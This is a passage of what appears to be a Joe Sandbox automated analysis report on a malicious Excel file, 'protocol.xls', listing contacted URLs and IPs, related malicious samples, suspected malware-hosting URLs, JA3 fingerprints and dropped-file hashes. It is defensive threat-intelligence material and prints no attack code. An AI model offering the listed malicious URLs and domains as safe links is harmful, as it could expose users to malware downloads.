                                                                                                                    https://outlook.office365.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                      high
                                                                                                                      https://webshell.suite.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                        high
                                                                                                                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDriveACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                          high
                                                                                                                          https://substrate.office.com/search/api/v1/SearchHistoryACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                            high
                                                                                                                            https://management.azure.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                              high
                                                                                                                              https://login.windows.net/common/oauth2/authorizeACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                high
                                                                                                                                https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFileACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                • URL Reputation: safe
                                                                                                                                unknown
                                                                                                                                https://graph.windows.net/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                  high
                                                                                                                                  https://api.powerbi.com/beta/myorg/importsACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                    high
                                                                                                                                    https://devnull.onenote.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                      high
                                                                                                                                      https://ncus.pagecontentsync.ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                      • URL Reputation: safe
                                                                                                                                      unknown
                                                                                                                                      https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                        high
                                                                                                                                        https://messaging.office.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://augloop.office.com/v2ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://skyapi.live.net/Activity/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                unknown
                                                                                                                                                https://clients.config.office.net/user/v1.0/macACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://dataservice.o365filtering.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                  unknown

                                                                                                                                                  Contacted IPs

                                                                                                                                                  • No. of IPs < 25%
                                                                                                                                                  • 25% < No. of IPs < 50%
                                                                                                                                                  • 50% < No. of IPs < 75%
                                                                                                                                                  • 75% < No. of IPs

                                                                                                                                                  Public

                                                                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                  162.241.2.103
                                                                                                                                                  ost.net.brUnited States
                                                                                                                                                  26337OIS1USfalse
                                                                                                                                                  199.79.62.121
                                                                                                                                                  maberic.comUnited States
                                                                                                                                                  394695PUBLIC-DOMAIN-REGISTRYUSfalse
                                                                                                                                                  192.99.46.215
                                                                                                                                                  atochagaleria.com.arCanada
                                                                                                                                                  16276OVHFRtrue

                                                                                                                                                  General Information

                                                                                                                                                  Joe Sandbox Version:33.0.0 White Diamond
                                                                                                                                                  Analysis ID:510734
                                                                                                                                                  Start date:28.10.2021
                                                                                                                                                  Start time:07:45:20
                                                                                                                                                  Joe Sandbox Product:CloudBasic
                                                                                                                                                  Overall analysis duration:0h 5m 9s
                                                                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                                                                  Report type:full
                                                                                                                                                  Sample file name:protocol.xls
                                                                                                                                                  Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                  Run name:Potential for more IOCs and behavior
                                                                                                                                                  Number of analysed new started processes analysed:27
                                                                                                                                                  Number of new started drivers analysed:0
                                                                                                                                                  Number of existing processes analysed:0
                                                                                                                                                  Number of existing drivers analysed:0
                                                                                                                                                  Number of injected processes analysed:0
                                                                                                                                                  Technologies:
                                                                                                                                                  • HCA enabled
                                                                                                                                                  • EGA enabled
                                                                                                                                                  • HDC enabled
                                                                                                                                                  • AMSI enabled
                                                                                                                                                  Analysis Mode:default
                                                                                                                                                  Analysis stop reason:Timeout
                                                                                                                                                  Detection:MAL
                                                                                                                                                  Classification:mal84.expl.winXLS@7/5@3/3
                                                                                                                                                  EGA Information:Failed
                                                                                                                                                  HDC Information:Failed
                                                                                                                                                  HCA Information:
                                                                                                                                                  • Successful, ratio: 100%
                                                                                                                                                  • Number of executed functions: 0
                                                                                                                                                  • Number of non-executed functions: 0
                                                                                                                                                  Cookbook Comments:
                                                                                                                                                  • Adjust boot time
                                                                                                                                                  • Enable AMSI
                                                                                                                                                  • Found application associated with file extension: .xls
                                                                                                                                                  • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                  • Attach to Office via COM
                                                                                                                                                  • Scroll down
                                                                                                                                                  • Close Viewer
                                                                                                                                                  Warnings:
                                                                                                                                                  Show All
                                                                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                  • Excluded IPs from analysis (whitelisted): 52.109.88.177, 52.109.76.34, 52.109.76.33, 52.109.8.25, 20.49.157.6, 8.248.89.254, 8.248.117.254, 8.241.126.121, 8.248.133.254, 8.248.93.254, 209.197.3.8, 20.54.110.249, 40.112.88.60, 80.67.82.235, 80.67.82.211, 20.82.210.154
                                                                                                                                                  • Excluded domains from analysis (whitelisted): fg.download.windowsupdate.com.c.footprint.net, prod-w.nexus.live.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, config.officeapps.live.com, iris-de-ppe-azsc-uks.uksouth.cloudapp.azure.com, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                                                                                                                                                  • Not all processes where analyzed, report is missing behavior information

                                                                                                                                                  Simulations

                                                                                                                                                  Behavior and APIs

                                                                                                                                                  No simulations

                                                                                                                                                  Joe Sandbox View / Context

                                                                                                                                                  IPs

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  162.241.2.103Order600567.exeGet hashmaliciousBrowse
                                                                                                                                                  • www.jogocertoptjc.com/dt9v/?9r=/6DROtFkY+DQN4u29C9TmrDbaQdWjbvTVyHiS8axtLai07FkaYsNfQsdClIJHXBP79fD&yt=WN9pTDLhcH
                                                                                                                                                  199.79.62.12115Payment Notification Swift CopyX20 Confirmation.exeGet hashmaliciousBrowse
                                                                                                                                                  • alsaifpetrochem.com/zlokky/fre.php
                                                                                                                                                  192.99.46.2155rNPlfqHxQ.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  WaPWtyR1ON.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  5rNPlfqHxQ.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  xBrGSNXGQ3.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  WaPWtyR1ON.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  xBrGSNXGQ3.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  5fRfUQrSRk.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  8XpkPAA80t.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  5fRfUQrSRk.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  8XpkPAA80t.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  HBftgCs83Q.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  HBftgCs83Q.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  422RklrdvM.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  rLJ1CoEZEp.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  422RklrdvM.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  rLJ1CoEZEp.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  AJmEJMqAR9.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  fFnK0eybPw.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  AJmEJMqAR9.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/
                                                                                                                                                  fFnK0eybPw.docGet hashmaliciousBrowse
                                                                                                                                                  • benitezseguros.com.ar/dkywlkxs/Gd/

                                                                                                                                                  Domains

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  maberic.comprotocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  ost.net.brprotocol.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  atochagaleria.com.arprotocol.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215

                                                                                                                                                  ASN

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  OIS1USprotocol.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  POIM101385.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.203
                                                                                                                                                  USD 58,508.80.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.203
                                                                                                                                                  purchase order.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.203
                                                                                                                                                  20211020 Copy of Customer transfer.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.203
                                                                                                                                                  pGaL44AsT9.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.85.108
                                                                                                                                                  ITFfhzMV0F.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.203.130
                                                                                                                                                  dtMT5xGa54.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.85.108
                                                                                                                                                  XWnSilQ3eG.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.20
                                                                                                                                                  Payment.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.213
                                                                                                                                                  INVOICE.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.213
                                                                                                                                                  vNBfeEsb8L.docGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.85.65
                                                                                                                                                  c0zG2sQGfpll1oV.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.213
                                                                                                                                                  BxZ4Gj074H.exeGet hashmaliciousBrowse
                                                                                                                                                  • 192.185.147.20
                                                                                                                                                  PUBLIC-DOMAIN-REGISTRYUSprotocol.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  Revised Purchase Order EU No.268766GMKD.exeGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.198.143
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  DHL Airwaybill # 6913321715.exeGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.199.224
                                                                                                                                                  Payment_Receipt_ 1791.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.215.252.35
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  PO#098273.htmlGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.199.181
                                                                                                                                                  PO#098273.htmlGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.199.181
                                                                                                                                                  Sales_ReceiptX0480.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 199.79.63.90
                                                                                                                                                  PaymentXAdviceX-RefXGLV403445242X.exeGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.199.224
                                                                                                                                                  Purchase Order 3920.exeGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.198.143
                                                                                                                                                  REVISED PURCHASE ORDER 26 PRECIOUSE STONE 65441QQMD.docGet hashmaliciousBrowse
                                                                                                                                                  • 208.91.199.224
                                                                                                                                                  tools-2123227448.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.215.253.110
                                                                                                                                                  tools-2123227448.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.215.253.110
                                                                                                                                                  RFQ_PI02102110.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.215.249.113
                                                                                                                                                  REVISE INVOICE_09812300.exeGet hashmaliciousBrowse
                                                                                                                                                  • 111.118.215.189
                                                                                                                                                  OVHFRprotocol.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  dot#U007eremit-2458 xls.HtmLGet hashmaliciousBrowse
                                                                                                                                                  • 145.239.131.55
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXAE4472036314.31475.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJX22779BFC1D68.14546.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXAE4472036314.31475.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJX345EADC8B1F5.514.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJX22779BFC1D68.14546.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJX345EADC8B1F5.514.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXE53A16BEA791.13728.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Trojan.Win32.Save.a.28377.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXEDADFD868F1D.21569.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXE53A16BEA791.13728.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Drixed-FJXEDADFD868F1D.21569.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Trojan.Win32.Save.a.28377.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Trojan.Win32.Save.a.16213.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  SecuriteInfo.com.Trojan.Win32.Save.a.16213.dllGet hashmaliciousBrowse
                                                                                                                                                  • 149.202.179.100
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  arm7Get hashmaliciousBrowse
                                                                                                                                                  • 8.33.207.78
                                                                                                                                                  #U0191ACTU#U0156A_wfpqacDkwlb__Z2676679.vbsGet hashmaliciousBrowse
                                                                                                                                                  • 144.217.33.249

                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                  37f463bf4616ecd445d4a1937da06e19TW_PURCHASE ORDER _BENTEX LTD_26201.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  #Ud83d#Udd0a VM 9193404898.wav.htmlGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  dot#U007eremit-2458 xls.HtmLGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  Chrome.Update.fb0369.jsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  Chrome.Update.fb0369.jsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1096018033.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  Invoice - INV-112289154.htmlGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  RYATPPETU.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  #U0191ACTU#U0156A_wfpqacDkwlb__Z2676679.vbsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  3weZ3HvFxH.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  89764583937678458745989.htmlGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  10272021-AM65Application.HTMGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1441399238.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  Justificante de pago 876345864792456647625346347457453535.vbsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  Nwszeclpfkywlsrvlpglyrnsilmxebigcs.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  protocol-1086855687.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  v2c.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  sZFzUPz7Ee.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  eMxXqjzvae.exeGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215
                                                                                                                                                  1.xlsGet hashmaliciousBrowse
                                                                                                                                                  • 162.241.2.103
                                                                                                                                                  • 199.79.62.121
                                                                                                                                                  • 192.99.46.215

                                                                                                                                                  Dropped Files

                                                                                                                                                  No context

                                                                                                                                                  Created / dropped Files

                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\ACCDA27E-452C-4E08-9584-F9C22DEC51A8
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):139130
                                                                                                                                                  Entropy (8bit):5.358459697812044
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:1536:gcQIfgxrBdA3gBwfnQ9DQW+zBY34Fi7nXboOidXVE6LWmE9:sWQ9DQW+zzXaH
                                                                                                                                                  MD5:6000DCE79DF3716D19ECCDCC68705760
                                                                                                                                                  SHA1:93522FF189A1580FEF5620A59213B337AC391B78
                                                                                                                                                  SHA-256:05D31786D68307226F1891365E9513C803582679CDC5E7F8F21AEF169152B7FE
                                                                                                                                                  SHA-512:25D98C15A82AE98C5747FBDEAD801EBCCD8883779CBDC8A143398E0BB0289767A32B768ADFD130B9E8D1694B10B7EB37AD9C5A9E3C425C239C6E014CDC150046
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:low
                                                                                                                                                  Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-10-28T05:46:15">.. Build: 16.0.14618.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8C80DA27.tmp
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):1536
                                                                                                                                                  Entropy (8bit):1.1464700112623651
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
                                                                                                                                                  MD5:72F5C05B7EA8DD6059BF59F50B22DF33
                                                                                                                                                  SHA1:D5AF52E129E15E3A34772806F6C5FBF132E7408E
                                                                                                                                                  SHA-256:1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
                                                                                                                                                  SHA-512:6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
                                                                                                                                                  Malicious:false
                                                                                                                                                  Reputation:moderate, very likely benign file
                                                                                                                                                  Preview: ......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                  C:\Users\user\AppData\Local\Temp\~DF5B4680BDC0A2AA0C.TMP
                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                  File Type:data
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):28672
                                                                                                                                                  Entropy (8bit):3.293912183277352
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:768:bkG/Kpb8rGYrMPe3q7Q0XV5xtezEs/68/dgANZQ47c:b5Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dW
                                                                                                                                                  MD5:8B0EF80202D4466B48973BFC38138879
                                                                                                                                                  SHA1:19D588DFAAAF7CDB1571BE8F3BE365D6F4A47672
                                                                                                                                                  SHA-256:D1ED8F8BD0320B84D50B1426797693A40EBC99916A08424223F1CE70FDBFAB0D
                                                                                                                                                  SHA-512:9AD9280534BC0786A3D64B58EBC97553911872652E0150144B741DF6392C90EFB347543C290242262F4DA0158E7D008B47CFBC80022D1AFA6543BDC3CA365CB9
                                                                                                                                                  Malicious:false
